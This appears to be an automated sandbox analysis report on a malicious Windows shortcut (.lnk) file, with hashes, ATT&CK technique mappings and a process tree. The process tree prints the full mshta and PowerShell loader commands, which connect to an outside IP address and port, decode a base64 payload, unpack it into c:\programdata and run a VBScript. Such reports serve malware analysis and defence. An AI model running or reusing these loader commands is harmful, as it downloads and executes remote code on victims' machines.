24a0124e2e38407f2062dc2bfb0bd474413a10d80ef8e1913ecfa699d962229f

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23/09/2024, 11:19

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General

Target
24a0124e2e38407f2062dc2bfb0bd474413a10d80ef8e1913ecfa699d962229f.lnk
Size 2KB
Sample240923-net25syera
SHA256 24a0124e2e38407f2062dc2bfb0bd474413a10d80ef8e1913ecfa699d962229f
MD5 1f29ccc30a6d053fcbc5210d921ac721
SHA1 35b7c9abc46750e9c1f672086427326d4d18669b
SHA512 143a3a0b9439ea87311a4662b0f6befb6256b799fe342a03002dabf021bc534d0e10a6fdac48ef2ba53af1fc88a378065cf8e12ddd145adce323b0a8cf7a3dfa
MD5 SHA1 SHA512

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3536	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3536	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3536	powershell.exe
3536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3792 wrote to memory of 2984	3792	cmd.exe	83
PID 3792 wrote to memory of 2984	3792	cmd.exe	83
PID 2984 wrote to memory of 3536	2984	mshta.exe	84
PID 2984 wrote to memory of 3536	2984	mshta.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\24a0124e2e38407f2062dc2bfb0bd474413a10d80ef8e1913ecfa699d962229f.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3792
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" javascript:p="se64String($z);$";s="Stream";w="a=new Act"+"iveXObject('WScr"+"ipt.Shell');a.Run(c,0,0);close();";a="System.IO."+s;t=" -Path $t -";n="New-Object System.";d="c:\\programdata";c="power"+"shell -ep bypass -c $r='64.49.14.181';$p='8014';$r="+n+"IO."+s+"Reader(("+n+"Net.Sockets.TcpClient($r, $p)).Get"+s+"());$z=$r.ReadLine();$b=[Con"+"vert]::FromBa"+p+"t='"+d+"\\t.zip';Set-Content"+t+"V $b -Encoding Byte;Expand-Archive"+t+"D "+d+";del $t;$v='"+d+"\\s.vbs';&$v;sc "+d+"\\nt9148 81";eval(w);
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c $r='64.49.14.181';$p='8014';$r=New-Object System.IO.StreamReader((New-Object System.Net.Sockets.TcpClient($r, $p)).GetStream());$z=$r.ReadLine();$b=[Convert]::FromBase64String($z);$t='c:\programdata\t.zip';Set-Content -Path $t -V $b -Encoding Byte;Expand-Archive -Path $t -D c:\programdata;del $t;$v='c:\programdata\s.vbs';&$v;sc c:\programdata\nt9148 81
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_u2nmh3sj.54y.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u2nmh3sj.54y.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3536-10-0x00000222D88F0000-0x00000222D8912000-memory.dmp

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memory/3536-11-0x00000222D8CE0000-0x00000222D8CF2000-memory.dmp

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memory/3536-12-0x00000222D7E80000-0x00000222D7E8A000-memory.dmp

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